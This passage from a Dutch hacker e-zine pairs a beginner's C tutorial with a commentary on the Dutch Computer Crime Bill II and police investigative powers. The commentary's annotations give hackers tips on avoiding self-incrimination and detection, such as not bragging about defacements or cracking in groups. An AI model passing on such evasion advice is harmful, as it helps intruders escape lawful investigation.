niet aan doen (scheelt weer liters koffie enzo..) Ok, eerst van stuff over C... C is een taal waar je vele leuke dingen mee kan doen, delen van UNIX zijn in C/C++ geschreven, en ook DOS is in C/C++ geschreven. Later is DOS overgegaan naar hand-coded Assembler, maar da's weer een totaal ander onderwerp. Er zijn eigenlijk meerdere variaties, je hebt de K&R versie en je hebt de ANSI versie. ANSI is een instituut dat een bepaald iets vast legt. Net zoals je de NEN voor o.a. Electrische Apparaten hebt... dingen zoals waarom moet de aarde leiding groen/geel zijn.. zoiets is de ANSI dus ook, maar dan in dit geval voor C. De K&R 'standaard' komt van 2 mensen die een heel bekend boek geschreven hebben. Hun achternamen begonnen met K en R.. vandaar =] Oude compilers zijn dus niet 100% ANSI Compatible, en zal daarom soms errors geven. Mijn tutorials zijn 100% ANSI compliant, en je moet dus checken of je compiler dat ook is. GCC b.v. is ANSI compliant. Voor veel talen heb je een programma nodig, de editor, compiler en linker.. omdat ik mijn programma's schrijf en compile in Linux heb je niets nodig.. Linux heeft alles standaard al. In Linux kun je voor C programma's GCC gebruiken, en voor C++ programma's G++. Om b.v. het bestand tut1.c te compilen doe je dit: [root@embrace]# gcc tut1.c -o kloar dit houdt dus in dat hij het bestand 'tut1.c' als input neemt, en het output bestand wordt 'kloar' genoemd. Ik gebruik zelf PICO als editor.. want Vi en Emacs vindt ik niets... Een texteditor van 35 MB.. pfffff... Tip: Als je in Linux werkt, en je wil hem executen nadat je hem gecompiled hebt.. en hij doet het niet, of geeft een error, dan komt dat waarschijnlijk omdat je je home directory niet in je PATH hebt staan, doe dan ff dit: (als /root je home directory is:) PATH=$PATH:/root (als /home/blaat je home directory is:) PATH=$PATH:/home/blaat Let wel, hierbij ga ik ervan uit dat je je C programma's compiled in je home directory, als je alles bewaard in /home/blaat/languages/c dan moet je dus PATH=$PATH:/home/blaat/languages/c doen enzo.. Dit ff om honderden mails te vermijden =] Ok, ik ga ervan uit dat een totale 'knowno' (=]) bent op programmeergebied, dus we gaan eerst eens ff wat uitleggen: statement = een opdracht. procedure = een aantal statements aan elkaar die geplakt die onder 1 naam worden aangeroepen. Deze naam heet een identiefier library = een hele hoop vaak standaard procedures unit = ook wel library functie = ook wel procedure genoemd. integer = een getal zonder decimale punt real = een getal met decimale punt string = een tekenreeks Ok, er vast nog wel meer dingen die je tegenkomt, maar dit is zo'n beetje het basic gedoe :) C heeft eigenlijk geen standaard dingen... b.v. in Pascal kun je zonder ook maar enige units te gebruiken dingen op het scherm zetten omdat dit soort simpele dingen standaard zit ingebouwd. Bij C is dat niet zo, daar moet je alle units die je wil gebruiken opgeven. In deze tutorial hebben we alleen 'stdio.h' nodig. STDIO staat voor STanDard Input Output. En dit zetten we zo in ons programma: #include Als je naar die regel kijkt zie je dat de bestandsnaam tussen < en > staat. Je zou het ook zo kunnen doen: #include "stdio.h" Het verschil is dat als je < en > gebruikt hij het bestand uit de library directory haalt, dat is een standaard directory waar al dat soort files zich bevinden. Als je " gebruikt dan haalt hij het bestand uit de huidige directory, dit is handig als je je eigen library's gaat schrijven. Ok, een programmatje: 1: #include 2: 3: main() 4: { 5: printf("Hello World!\n"); 6: return 0; 7: } Ok, dat was makkelijk :), om dit te begrijpen gaan we alles stap voor stap bij langs! (Als je dit zelf wil programmeren moet je die nummers er dus niet voor zetten. Newbie note: Ik gebruik 'Hello World' omdat freaks dat graag gebruiken om iets uit te leggen... net zoals dat je om onzin aan te duiden vaak foobar gebruikt. 1: Gebruik de STDIO.H library, deze library heb je altijd nodig. 2: 3: Begin het programma. Een programma moet altijd de main() functie hebben. door de main functie aan te roepen zeg je dat het programma hier begint. Vanaf hier kun je dus ook weer andere fucnties aanroepen. 4: 'opening bracket'. Hiermee geef je aan dat de functie/procedure begint. alles wat hiertussen staat hoort bij een en dezelfde functie, in dit geval dus main() 5: zet op het scherm "Hello World". Die \n zorgt ervoor dat er een harde return wordt gegeven. (Enter dus!) 6: Geef als return code 0. Iedere functie moet normaal een code meekrijgen als hij is afgelopen, dit is wel 'uit te schakelen', maar nu moet het aan. Je kan dus ook return 1; doen om hem 1 als code terug te geven. 7: 'closing bracket'. Hiermee geef je aan dat de huidige functie klaar is. in dit geval dus ook het eind van het programma omdat we maar 1 functie gebruiken. (De Main() functie) Ok, ga dit maar eens overtikken, compile het eens, and be amazed! Je allereerste C programma in 'De language of the feature (and the past)'. Voordat we echt berekeningen moeten doen, zullen we toch wat dingen moeten weten welke 'expressions' we daar voor moeten gebruiken.. Iedere beetje computer gebruik hoort dit te weten, magoed.. voor de total knowno.. '*' betekent vermenigvuldigen (Multiplication) '/' betekent delen (Division) '+' betekent optellen (Addition) '-' betekent aftrekken (Substraction) '%' betekent modulus (Remainder) Ok, misschien moet ik over % nog wat uitleggen.. In Pascal en andere programmeertalen is dit de MOD expression... Het is eigenlijk heel simpel. 6 % 4 is 2. Want 4 gaat 1x in 6 en dan blijft er nog 2 over. 8 % 4 is 0, want 4 gaat 2x in 8 en dan blijft er niets (0) over. 3 % 2 is 1, want 2 gaat 1x in 3 en dan blijft er nog 1 over. Verder kun je ook haakjes om iets hangen om dat eerst te doen.. Als je doet: 5 - 3 + 3 dan zul je zien dat daar 5 uitkomt. Maar als je dit doet: 5 - (3 + 3) dan zul je zien dat er -1 uitkomt. Dit komt omdat hij dus 3 aftrekt van 5 en daar 3 bij optelt. Bij het vorige voorbeeld trekt hij het antwoord van 3 + 3 af van 5. Zo kun je dus hele leuke statements maken... voorbeeldje: x = 5+(x+1/(g1/(g2/g3))+1) Allemaal heel leuk (dit was gewoon ff een zelfbedacht voorbeeld heur =] Dan nog iets.. Een variabele is een naam dat je aan een stuk geheugen geeft. Stel, je hebt de variabele 'getalletje' en dat is een integer, dan kun je daar dus een waarde aan plakken. Als je doet: getalletje = 1; dan zeg je dus tegen de computer: Zet het getal 1 in het geheugen en markeer dat met de naam 'getalletje'. Let wel op, in bijna alle programeertalen zijn 'getalletje' en 'Getalletje' hetzelfde. in C/C++ zijn dit 2 verschillende variabelen.. dus ook Main() is niet hetzelfde als main(). Zoals je bij ons vorige voorbeeld hebt gezien gebruiken we z.g.n. 'statement blocks' om een bepaalde procedure c.q. functie goed te laten werken. Anders zou hij immers niet weten waar de procedure start en stopt. (Een statement block is alles wat tussen { en } staat). Dit is bijvoorbeeld een statement block: { int getalletje; int antwoord; getalletje = 7; antwoord = getalletje + 1; printf("Het antwoord van 7 plus 1 is %d. Leuk he?",antwoord); } Dus alles tussen { en } behoort tot dezelfde procedure c.q. functie. Als je dus dit zou doen: #include main() { int getalletje; int antwoord; getalletje = 7; antwoord = getalletje + 1; printf("Het antwoord van 7 plus 1 is %d. Leuk he?",antwoord); } Ok, in dit voorbeeld is main dus de procedure (c.q. functie) en is alles tussen { en } dus het statement-block. Als je pascal gedaan hebt/doet, dan zul je ongetwijfeld weten dat je niet altijd 'begin' en 'end' hoeft te gebruiken. Als je b.v. dit hebt: repeat writeln('Dit is niet belangrijk als je geen pascal kent'); until blaat > 1; hoef je geen begin en end te gebruiken omdat je maar 1 statement gebruikt, als je meer dan 1 statement zou gaan gebruiken zou je wel begin en end moeten gebruiken. In C moet je echter (voor zover ik weet) altijd het statement-block gebruiken. Ok, voordat ik nu een een tutorial van 40 kantjes zit te typen.. gaan we eerst eens ff stoppen, en dan zien we jullie weer bij de volgende h4h.. b.t.w.. mijn e-mail is veranderd (FUCK CYBERCOMM!) mijn nieuwe adres is: tozz@tozz.tmfweb.nl Okeej, bye bye, sweet dreams en natuurlijk happy coding :) Owja.. nog ff dit.. als iets niet werkt.. ga dan niet meteen mij mailen.. want als ik dus mails krijg dat iets niet werkt, en het blijkt dat je Main hebt geschreven i.p.v. main dan reply ik dus ook niet.. of ik stort mijn dagelijkse alt.hack.nl agressie op je uit.. dus je moet wel eerst ff zelf checken of je iets fout gedaan hebt.. P.S.: Volgende week gaan we onze eigen procedures schrijven. (Whoah! We're getting good at this =]) Gtx, Tozz ------------------------------------------------------- 12. Wetsvoorstel Computercriminaliteit II ------------------------------------------------------- [Jullie hadden dit artikel natuurlijk eerder verwacht, want dat stond ook in de vorige H4H. Aangezien toendertijd het de bedoeling was dat Wetsvoorstel Computercriminaliteit II eind januari in de kamer besproken zou worden, was het van belang dat jullie het artikel op tijd kregen. Tegen de tijd dat we het artikel binnen kregen bleek dat de kamer wachtte op europese normen voor dit onderwerp. Nu komt het voorstel ergens in augustus dit jaar in de kamer.] Haarlem, 10 januari 2000 Gerrie Mansur organisator HIT2000 Doel: Het informeren van mensen die mee willen -niet om te demostreren- naar de tweede kamer om te kijken hoe men in onze parlement debateerd over wet computer criminaliteit II. Secundaire doel: Informeren van scene en geïntresseerden Een gedeelte van mijn tekst hieronder zijn overgenomen uit Criminaliteit in Cyberspace ISBN 90-5749-428-0 Dat een onderzoek is in opdracht van Justitie, die laatste week van 1999 is verschenen, en de meeste uitlatingen van politie, instellingen en overheid in de maand december -b.v. kenteken- onderuit haalt. Overigens zullen er mensen niet blij zijn met het verstrekken van informatie laat staan integraal overnemen van stukken tekst, wij -HIT2000- vinden dat deze tekst gewoon in digitale vorm door de overheid had moeten worden verstrekt, immers wij hebben in het verleden meer aan voorlichting gedaan dan de belanghebbende, iets waarin overheid duidelijk tekort in is geschoten, tevens zijn zij daar al opgewezen tijdens voorbereidingen van HIT2000, waar alle partijen zijn verzocht om te komen voor een open discussie. De enige persoon die op eigen beweging de moeite heeft genomen om in discussie met ons te treden was Louis Maatman van afd. Digitaal rechercheren KLPD. Zij hebben met deze discussie op usenet -zie dejanews alt.hit2000.nl- meer bereikt dan dat zij ooit op reguliere wijzen hadden kunnen bereiken. Het geen duidelijk een signaal moet zijn geweest -voor de overheid- om uit eigen beweging contacten aan te gaan met de scene. -hiermee niet specifiek doelend op HIT2000- Ook willen wij langs deze weg de onderzoekers van buro In-Pact bedanken, met name de Heer van Treeck, die de moeite heeft genomen om naar ons te luisteren, en HIT2000 heeft bezocht. Wij hopen dat de overheid voor zij het debat beginnen over Wet Computercriminaliteit II de moeite hebben genomen het onderzoek eens te lezen, niet alleen wij -scene-, maar ook de rest van de samenleving is er bij gebaat. En de aanbevelingen in het onderzoek zijn moeite van het overwegen waard. 5.2.2 blz. 37 Wetsvoorstel Computercriminaliteit II In het wetsvoorstel Computercriminaliteit II worden opsporingbevoegdheden geregeld die kunnen worden ingezet in onderzoeken naar ICT-criminaliteit. Zo kan een rechter-commissaris bevelen dat gevens die zich in een geautomatiseerd werk bevinden (b.v. de computer van een verdachte) voor de rechter-commissaris worden overgenomen, toegankelijk worden gemaakt of worden overgebracht naar de griffie van de rechtbank (artikel 125i Sv). Ook kunnen gegevens in een systeem ontoegankelijk worden gemaakt (artikel 125o Sv). Verder kan het bevel worden gegeven, dat versleutelde telecommunicatie wordt ontsleuteld door iemand van wie wordt vermoed dat hij de kennis heeft om een versleuteling ongedaan te maken. Hierbij moet wel worden aangetekend, dat dit bevel niet tot de verdachte kan zijn gericht. Een hacker kan er dus niet toe worden verplicht zijn eigen versleuteling ongedaan te maken. (Dit wilde ze wel invoeren overigens -Gerrie-) Relevante URL's http://www.minjust.nl/c_actual/persber/pb0230.htm Persbericht mbt WET en complete tekst van voostel http://www.xs4all.nl/~mjk/artikelen/recht.html Verdachten hoeven niet mee te werken http://www.db.nl/compucrim.htm DBNL bestrijdt ontwerpwet computercriminaliteit II (goed verweer -Gerrie-) http://www.nlip.nl/reacties/ccii.htm NLIP-Commentaar op Wetsvoorstel Computercriminaliteit II (26 671) http://www.nlip.nl/reacties/archf98/980304.htm Persbericht NLIP inzake wetsvoorstel 5.2.3 Wetsvoorstel Bijzondere opsporingsbevoegdheden (BOB) Het wetsvoorstel Bijzondere opsporingsbevoegdheden, dat in werking treedt op 1 februari 2000, bevat een regeling van enkele opsporingsmethoden die in de politiepraktijk reeds werden toegepast, maar waarvoor nog geen wettelijke grondslag bestond. Enkele van deze bijzondere opsporingsmethoden zijn ook relevant voor de opsporing van strafbare feiten op internet. Hierna bespreken we deze. Een voorwaarde die bij al deze bijzondere opsporingsmethoden geldt, id dat er geen sprake is van een opsporingsonderzoek. Observatie (artikel 126g) Artikel 126g Wetboek van Strafvordering (Sv) bepaalt dat, in het geval van verdenking van een misdrijf, de officier van justitie het beval kan geven dat een opsporingsambtenaar in het belang van het onderzoek stelselmatig een persoon volgt of stelselmatig diens aanwezigheid of gedrag waarneemt. In relatie tot internet kan bij gebruik van deze opsporingsbevoegdheid worden gedacht aan het observeren van het surfgedrag van een verdachte. (duh... sniffen van verbinding bedoelen ze -Gerrie-) Het onderscheppen en lezen van e-mail (de e-mailtap) valt niet onder deze bevoegdheid. (niet sniffen op 25, 109, 110, 143 & 1109 dus, wie ziet daar op toe? -Gerrie-) Hiervoor is een aparte bevoegdheid opgenomen in het wetsvoorstel (opnemen van vertrouwelijke communicatie, zie verder hieronder). Wel kan met observatie worden onderzocht welke nieuwsgroepen een verdachte bezoekt en wat de inhoud van de postings is die de verdachte plaatst, omdat de postings in een nieuwsgroep openbaar zijn. (oftewel pas op met wat je post!! -Gerrie-) Een mogelijk knelpunt bij het uitoefenen van deze bevoegdheid is, dat observatie uitgaat van een zekere passiviteit van de opsporingsambtenaar. (doh... alle informatie kan automatisch vergaard worden -Gerrie-) Hij mag waarnemen, maar niet zelf deelnemen aan een proces (bijvoorbeeld in een discussiegroep of chatbox). (of tewel als iemand idled op irc, moet je hem wel kicken :-) -Gerrie-) Daarnaast bepaalt artiker 126g Sv niets over de kenbaarheid van de opsporingsambtenaar als zodanig. In de fysieke wereld is dat geen probleem, omdat observatie door een opsporingsambtenaar ongemerkt kan geschieden (vanuit een auto of een woning bijvoorbeeld). Op de eletronische snelweg worden altijd digitale sporen achtergelaten. Het is dus de vraag of het inloggen onder een nickname door een opsporingsambtenaar in een discussiegroep (of irc etc..etc..-Gerrie-) (waardoor deze niet kenbaar is als opsporingsambtenaar) stand kan houden in relatie tot de formele bevoedheid van observatie. Dit staat overigens los van het door de politie onder een nickname deelnemen aan een discussiegroep zonder een formeel bevel tot observatie. ( in Amerika is een opsporingsbeambte verplicht zijn indentiteit te verhullen als je er naar vraagt, ik weet niet of dat enkel geldt indien hij in functie is of niet -Gerrie-) http://www.justitie.nl/c_actual/rapport/index.htm Aanbiedingsbrief: Opsporing in uitvoering (commissie Kalsbeek) http://www.xs4all.nl/~respub/ Rapport Kalsbeek online (en veel andere informatie omtrent opsporingsdiensten) http://www.oudenaarden.nl/pgp/ Lopende zaken Privacy op Internet http://www.pgpi.org/ Na het lezen van bovenstaande, lijkt het me vanzelfsprekend..... http://www.xs4all.nl/~freeswan/ Linux FreeS/WAN is an implementation of IPSEC & IKE for Linux (Got Crypto?) Stelselmatige inwinning van informatie (artikel 126j) De bevoegdheid tot stelselmatige inwinning van informatie komt tegemoet aan het hiervoor gesignaleerde mogelijke knelpunt van kenbaarheid van de opsporingsambtenaar. Artikel 126j Sv bepaalt namelijk, dat in het belang van het onderzoek de officier van justitie kan bevelen dat een opsporingsambtenaar, stelselmatig informatie inwint over een verdachte. Met toepassing van deze opsporingsbevoegheid kan een opsporingsambtenaar undercover deelnemen aan een nieuws- of discussiegroep op internet of gberuik maken van Internet Relay Chat (IRC en op die manier informatie verzamelen over een verdachte. (daarom moet je nooit te koop lopen met wat je kan, weet en gedaan hebt, je levert enkel voor jezelf belastend materiaal op -Gerrie-) Een belangrijke randvoorwaarde bij het uitoefenen van de bevoegdheid tot stelselmatige informatie-winning is dat de opsporingsambtenaar niet mag uitlokkeen tot het plegen van strafbare feiten die de verdachte nog niet van plan was te plegen (hetgeen bij toepassing van deze bevoegdheid in de fysieke wereld ook geldt). (Dus als jij op irc of op usenet met urls van defacements gooit, en iemand vraagt hoe je het gedaan hebt, moet je op je tellen passen, ook zou betekend het dat je bijvoorbaat al belastend voor jezelf bezig bent -Gerrie-) Dit (gecodificeerde) criterium is ontstaan in de rechtspraak van het Europese Hof van Justitie en staat bekend als het Tallon-criterium. Opnemen van vertrouwelijke communicatie (artikel 126l) Artikel 126l Sv biedt de mogelijkheid om vertrouwelijke communicatie op te nemen. Hierbij kan bijvoorbeeld worden gedacht aan situaties waarbij wordt gebruikgemaakt van encrypted e-mail voor de verzending van kinderpornografische afbeeldingen. Een mogelijkheid om dergelijke e-mail te onderscheppen voordat het wordt geëncrypteerd, is door het plaatsen van een 'bug' op de toetsenbord van de computer waarmee de e-mail wordt verzonden. (in een trusted computer domain kan dit dus niet...-Gerrie-) Indien hiervoor een kantoor of een woning moet worden betreden zonder toestemming van de rechthebbende, gelden vrij zware eisen (het belang van het onderzoek moet dit dringed vorderen en, ingeval van binnentreden in een woning, dient de verdenking een misdrijf betreffen waarop een gevangenisstraf van acht jaar of meer is gesteld - of zes jaar of meer indien sprake is van criminaliteit in georganiseerd verband). (Alleen cracken zal dus nooit iemand bij je thuis opleveren, bij cracken in groepsverband moet je opgaan passen.... -Gerrie-) Opnemen telecommunicatie en vorderen van verkeersgegevens (artikel 126m en 126n) De wet biedt ook de mogelijkheid telecommunicatie op te nemen, als dit in het belang van het onderzoek is en het onderzoek dit dringend vordert. Niet vereist is overigens dat de verdachte deelneemt aan de telecommunicatie. Het kan zowel om spraak- als om datacommunicatie. Het verschil tussen deze bevoegdheid en de bevoegdheid tot het opnemen van vertrouwelijke communicatie is dat bij de bevoegdheid tot het opnemen van telecommunicatie het niet mag gaan om vertouwelijke communicatie, zoals bijvoorbeeld geëncrypteerde e-mail. (als ze je mail tappen, zal daar altijd ook pgp versleutelde mailtjes tussen kunnen zitten, dit artikel zou weleens tot vrijspraak kunnen lijden, men kan nooit aantonen dat ze alleen dat ene belastende mailtje hebben onderschept, en niet dat versleutelde mailtje die er voor of er na werd verzonden -Gerrie-) Daarnaast is bij het uitoefenen van deze bevoegdheid de medewerking vereist van de aanbieder van de telecommunicatie dienst. Dit kan een provider van mobiele telecommunicatie zijn, maar ook een internetprovider. Artikel 126n Sv biedt voorts de mogelijkheid om bij een aanbieder van telecommunicatiediensten te vorderen dat deze verkeersgegevens van telecommunicatie verstrekt als over die communicatie het vermoeden bestaat dat de verdachte eraan heeft geelgenomen. Hierbij kan worden gedacht aan printlijsten die bijvoorbeeld door een verdachte gebelde telefoonnummer bevatten of log-files van het surfgedrag. (onaanvaardbaar, dit zou inhouden dat je vooraf aan je ISP moet vragen of ze loggen en sniffen, het mag toch niet zo zijn, dat een ISP je bij voorbaat snifft en logged -zoals mijn ISP met mijn verkeer doet- en dit zomaar aan bevoegde beamte mag overdragen als ze erom vragen, mijn ISP had me daarop vooraf moeten inlichten, lijkt me onrechtmatig verkregen bewijs, het is uiteraard anders als de bevoegde instanties een blackbox installeren, en dan mijn verkeer tappen, maar om nieuw bij een ISP te komen en er bij voorbaat uit moeten gaan dat elke beweging die je online maakt, ooit eens tegen je gebruikt kunnen worden...... tegek voor woorden.... -Gerrie- ) De hiervoor beschreven bevoegdheden tot het opnemen van telecommunicatie en het vorderen van verkeersgegevens bestaan onder het huidige recht reeds. In het wetsvoorstel zijn deze bevoegdheden enigszins gewijzigd, voornamelijk op het punt van de formele vereisten waaraan dient te zijn voldaan. Politiële infiltratie (artikel 126h) De opsporingsbevoegdheid tot infiltratie kan zinvol zijn als een onderzoek vergt dat een opsporingsambtenaar infiltreert in een netwerk van kinderpornoverspreiders. Zo'n infiltratie kan plaatsvinden in de echte wereld maar natuurlijk ook in de digitale, bijvoorbeeld door deelname aan discussiegroepen. Op zo'n manier kan informatie verzameld over de herkomst van afbeeldingen en over de personen die bij de verspreiding zijn betrokken (leveranciers en/of afnemers). Het Tallon-criterium(zie bij stelselmatige inwinning van informatie) is ook hier van toepassing. Om inzicht te verkrijgen in netwerken van verspreiders van kinderpornografie, kan deze bevoegdheid van groot nu zijn, zeker in combinatie met de pseudo-koop. Psuedo-koop (artikel 126i) De algemene opsporingsbevoegdheid van pseudo-koop spreekt van het, in het belang van het onderzoek, afnemen van goederen van een verdachte door een opsporingsambtenaar. Het wetsvoorstel Computercriminaliteit II opent de mogelijkheid dat pseudo-koop ook van toepassing kan zijn op het afnemen van gegevens afkomstig uit een geautomatiseerd werk door tussenkomst van een openbaar telecommunicatienetwerk. Pseudo-koop kan dan dus ook inhouden het door een opsporingsambtenaar kopen van kinderpornografische afveeldingen van het internet. (of bestellen van Warez en andere rommel online.... -Gerrie-). Tot zover het wetsvoorstel bijzondere opsporingsbevoegdheden. Voor het achterhalen van hackers kan de politie in de toekomst ook een beroep doen op de providers van de hackers. (moet je eerst zien te herleiden waar en hoe iemand het inernet opgaat... -Gerrie-) De hoofdregel (voorzover van belang in het geval van hacking) in het nieuwe artikel 53 van het Wetboek van Strafrecht is dat bij misdrijven gepleegd door de de drukpers of enig ander middel voor openbaarmaking of verspreding, een tussenpersoon niet wordt vervolgd indien deze op de eerste aanmaning na het instellen van een gerechtelijk vooronderzoek alle gegevens verstrekt die redelijkerwijs van hem kunnen worden verlangd om de dader te kunnen achterhalen. (dus een ISP hoeft je verkeer pas te loggen en te sniffen als men met een juridisch bevel komt, maar mocht jouw ISP het leuk vinden je te sniffen en te loggen dan heeft men wel het recht om die gegevens te mogen gebruiken, het lijkt mij onredelijk dat men je vooraf logged en sniffed, afgezien dat het een inbreuk is op je privacy, kan men ook niet van andere criminelen -zoals inbrekers- verwachten dat hij zijn hele voorbereiding en uitvoering heeft gefilmd ;-), ook kan de TNT Postgroep, mijn bom pakketje die ik naar de VS post, via Duitsland, vanaf de voorbereiding in de gaten houden -in elkaar zetten bom etc...-, of zal KPN Telecom toch al onze telefoon gesprekken bij voorbaat opnemen? dit lijkt me op discriminatie van infrastructuur. Dat KPN het nodig vind om gesprekgegevens zoals gebelde nummers te loggen ivm factuuradministratie kan ik tot zekere hoogte begrijpen, maar dat zij vooraf het recht hebben om mijn gesprekken af te luisteren gaat mij tever, bij mijn ISP kan het wel gebeuren -en in mijn geval gebeurt het ook- ik heb niks tegen afluisteren van criminelen, maar dat moet dan wel onder toezicht en volgens de regeltjes, als ISP's altijd mogen loggen en sniffen, en dat achteraf als rechtmatigbewijs gebruikt kan/mag worden, vind ik dat zij bij wet verplicht gesteld dienen te worden omdat vooraf aan hun klanten kenbaar te maken, uiteraard niet als het om gerechtelijk onderzoek gaat -Gerrie-) Dit betekent dus, dat hackers niet op bescherming van hun provider kunnen rekenen. Als politie en justitie met gegevens bij een provider aankloppen waarmee de persoonsgegevens van een hacker kunnen worden achterhaald (zoals een IP-adres) dan dient de provider de NAW-gegevens (naam, adres, woonplaats) van de aansluiting te overleggen. Doet hij dat niet, dan kan hij zelf worden vervolgd. (klinkt en leuk en aardig maar als je ISP het niet kan omdat ze -zoals mijn ISP- je gegevens niet hebben, worden zij dan vervolgd omdat ze hun administratie niet in orde hebben ? ;-) en hoe zit het met alle gratis ISP's waar je valse gegevens op kunt geven? Nu kan je bij een gratis ISP de telefoonnummer terugvinden, vanwaar er is ingebeld en bij KPN de gegevens ervan terug vinden, maar hoe wil je dit doen met een kabelmodem waarvan je alleen weet dat hij ergens in Haarlem staat, je mag de IP dan wel hebben, maar iemand fysiek lokaliseren...... kan best weleens veel moeite en tijd kosten :-)) Ik wens degene die mij ooit eens willen lokaliseren aan de hand van mij IP dan ook erg veel succes, maar misschien is het wel makkelijker om het gewoon aan me te vragen -) -Gerrie-) 5.3 Digitalisering en politiemethoden Politiemensen vertelden ons dat de toenemende digitalisering de kracht van vertrouwde politiemethoden onder druk zet. In plaats van sporen te verzamelen in een fysieke omgeving -verfsplinters, DNA-materiaal, vinger-, voet- en oorafdrukken- zal de politie ook steeds vaker sporen moeten verzamelen in een digitale omgeving. Ook politiemethoden als buurtonderzoek, huiszoeking, observatie en confrontatie zijn afgestemd op een fysieke wereld. Al dergelijke methoden blijven in de toekomst wel bruikbaar, maar ze bieden een onvoldoende repertoire voor opsporingsonderzoek in een samenleving waarin digitalisering steeds verder doordringt in het dagelijks leven. We moeten hier niet alleen denken aan criminaliteit op internet. Digitale activiteiten zijn al zo alledaags dat ook in klassieke criminaliteit digitale opsporing nodig kan zijn. Wanneer en van waaruit nam de dader het laatst geld op met zijn creditcard? Wanneer en door wie is het slachtoffer het laatst on-line gezien? Met wie en van waaruit had de dader contact via zijn mobiel? Wat staat er op de verzameling Cd's van het slachtoffer? Wanneer gebruikte de dader het laatst zijn computer? Welke adressen heeft de dader in zijn notebook? Dat zijn zomaar een paar vragen die politiemensen in elke zaak kunnen tegenkomen en die vereisen dat zij alert zijn op digitale sporen en weten hoe daarmee om te gaan. Naarmate mensen zich vaker begeven in een digitale wereld, zal de politie meer behoefte krijgen aan digitale varianten van klassieke methoden: buurtonderzoek in een digitale stad, een verdachte volgen op de digitale snelweg- ook bij klassieke moord en doodslag. Zoals we reeds in ons voorwoord zeiden, gaat dit onderzoek over criminaliteit die speciaal wordt gepleegd met informatie- en communicatietechnologie. Dan is de noodzaak van digitale politiemethoden evident. Maar dit ICT-accent is ons onderzoek mag niet doen vergeten dat ook bij andere delicten steeds vaker sprake is van digitale activiteiten van daders en slachtoffers en dat dus over de hele linie van politiewerk het belang van digitale oriëntatie toeneemt. 5.4 Criminaliteit, ICT en privacy In de discussie over criminaliteit, ICT en privacy verdient het aanbeveling in enige mate helder te maken wat precies wordt verstaan onder het begrip privacy. In de meest brede zin van het woord behelst privacy alles wat kan worden gerelateerd aan een individueel persoon. Privacy is wel gedefinieerd als 'het recht om met rust te worden gelaten', zowel door medeburgers, bedrijven als door de overheid. In artikel 10 van de Grondwet is privacy vertaald als 'het recht op eerbiediging van de persoonlijke levenssfeer'. Daaraan gerelateerd zijn het recht op onaantastbaarheid van het lichaam (artikel 11), het huisrecht (artikel 12) en het brief-,telefoon- en telegraafgeheim (artikel 13). Waneer wordt gesproken over privacy en ICT, kan het begrip privacy worden onderverdeeld in grofweg drie categorieën: -de bescherming van persoonsgegevens van een individu; -de mate van kenbaarheid van een persoon bij het gebruik van ICT, en; -de bescherming van (vertrouwelijke) communicatie van een persoon. Met betrekking tot de bescherming van persoonsgegevens geeft de Grondwet in artikel 10 aan, dat de wet hieromtrent regels stelt. Sinds de Wet persoonsregistraties in 1988 zijn diverse wetten van kracht geworden, die in meer of mindere mate de omgang met persoonsgegevens in het maatschappelijk verkeer door overheid en particulieren regelenen. Voorbeelden hiervan zijn de Wet politieregisters, de Wet gemeentelijke basisadministratie en de Wet geneeskundige behandelovereenkomst. Deze wetten regelen in welke gevallen welke persoonsgegevens door overheid of particulieren mogen worden opgeslagen, verwerkt, verstrekt, gebruikt en dienen te worden verwijderd of vernietigd. Aangezien de opslag van persoonsgegevens tegenwoordig vrijwel overal plaatsvindt in (grote) databases en dus onder invloed staan van (de ontwikkelingen in de) ICT, is de mate van toegankelijkheid en de bescherming van deze, soms zeer gevoelige gegevens, vaak voorwerp van discussie. Met name hackers hebben zich vooral in hun beginjaren sterk gemaakt voor een adequaat niveau van beveiliging van deze bestanden door overheid en particulieren. De kenbaarheid van een persoon is door de opname in honderden persoonsregistraties buitengewoon groot, en daarom dient met deze gegevens op een correcte manier te worden omgegaan. Bij niet-toereikende beveiligingen liggen de persoonsgegevens op (de digitale) straat. De kenbaarheid van burgers komt niet alleen tot uiting in de mate waarin de persoonsgegevens zijn opgeslagen in registraties, maar ook simpelweg in het gebruik van ICT. Elke muisklik op internet laat digitale sporen na die uiteindelijk herleidbaar zijn tot de computer waarachter de gebruiker heeft gezeten. Een belangrijk kenmerk van digitale gegevens is dat ze zonder kwaliteitsverlies razendsnel talloze malen kunnen worden gekopieerd en gereproduceerd, en dat dat ook daadwerkelijk gebeurt. Ter verglijk: waneer op een computer een Word-document wordt geopend, worden op het moment dat het bestand geopend, op verschillende plaatsen van de harde schijf zestien kopieën van dat bestand (tijdelijk) opgeslagen. De argeloze surfer op het internet laat overal waar hij is geweest zijn sporen na; door gebruik van het TCP/IP-protocol (het protocol waarvan internet gebruik maakt) is bij het bezoek van een website direct duidelijk van welke browser iemand gebruik maakt en welke besturingssysteem op de computer van de bezoeker is geïnstalleerd. Ook kan op deze manier het IP-adres (het unieke identificatienummer van de houder van een internetaccount of van een computer) worden achterhaald, waardoor een gebruiker is te herleiden tot minstens de PC de hij gebruikt. Als regel kunnen ook zijn persoonlijke gegevens worden achterhaald bij de provider. (dus dat kenteken wat ze willen, is er eigenlijk al, en met IPv6 zal het moeilijker worden deze te vervalsen -Gerrie-) Met het hoge gebruik van ICT is ook de bescherming van (vertrouwelijke) communicatie aan een herziening toe. Een discussie die nog steeds in beweging is, is of de bescherming van het briefgeheim en het telefoon- en telegraafgeheim ook toereikend zijn voor de bescherming van e-mailberichten. Door een extensieve interpretatie van artikel 13 van de Grondwet kunnen bepaalde nieuwe technieken wel onder de bescherming van dit grondwettelijke recht worden gebracht, maar het maatschappelijke en economische belang van communicatie via e-mail is inmiddels zo groot, dat artikel 13 onvoldoende zekerheid biedt. Nadat een voorstel tot een algemeen recht op vertrouwelijke communicatie, ongeacht de gebruikte techniek in zowel de Eerste als de Tweede Kamer behoorlijk onder vuur heeft gelegen, is besloten tot het instellen van een commissie 'Grondrechten in het digitale tijdperk', die de regering dient te adviseren inzake de gevolgen van (nieuwe) ICT voor de grondrecht. Communicatie via e-mail is qua systematiek vergelijkbaar met de telefoon, maar heeft kenmerken van communicatie per brief, in die zin dat e-mail net zoals bij post het geval is, een uitgestelde vorm van communicatie is. Door hackers, maar ook door providers is al diverse malen gepleit voor wettelijke bescherming van e-mail om daarmee dit communicatie middel uit zijn onduidelijke status te halen. In het wetsvoorstel computercriminaliteit II krijgt e-mail, vooruitlopend op een mogelijk nieuw artikel 13 van de Grond et, een wettelijke (strafrechtelijke) bescherming. Privacy zal voorlopig een discussiepunt blijven. Enerzijds moet de overheid om haar controlerende taak uit te kunnen oefenen zicht te 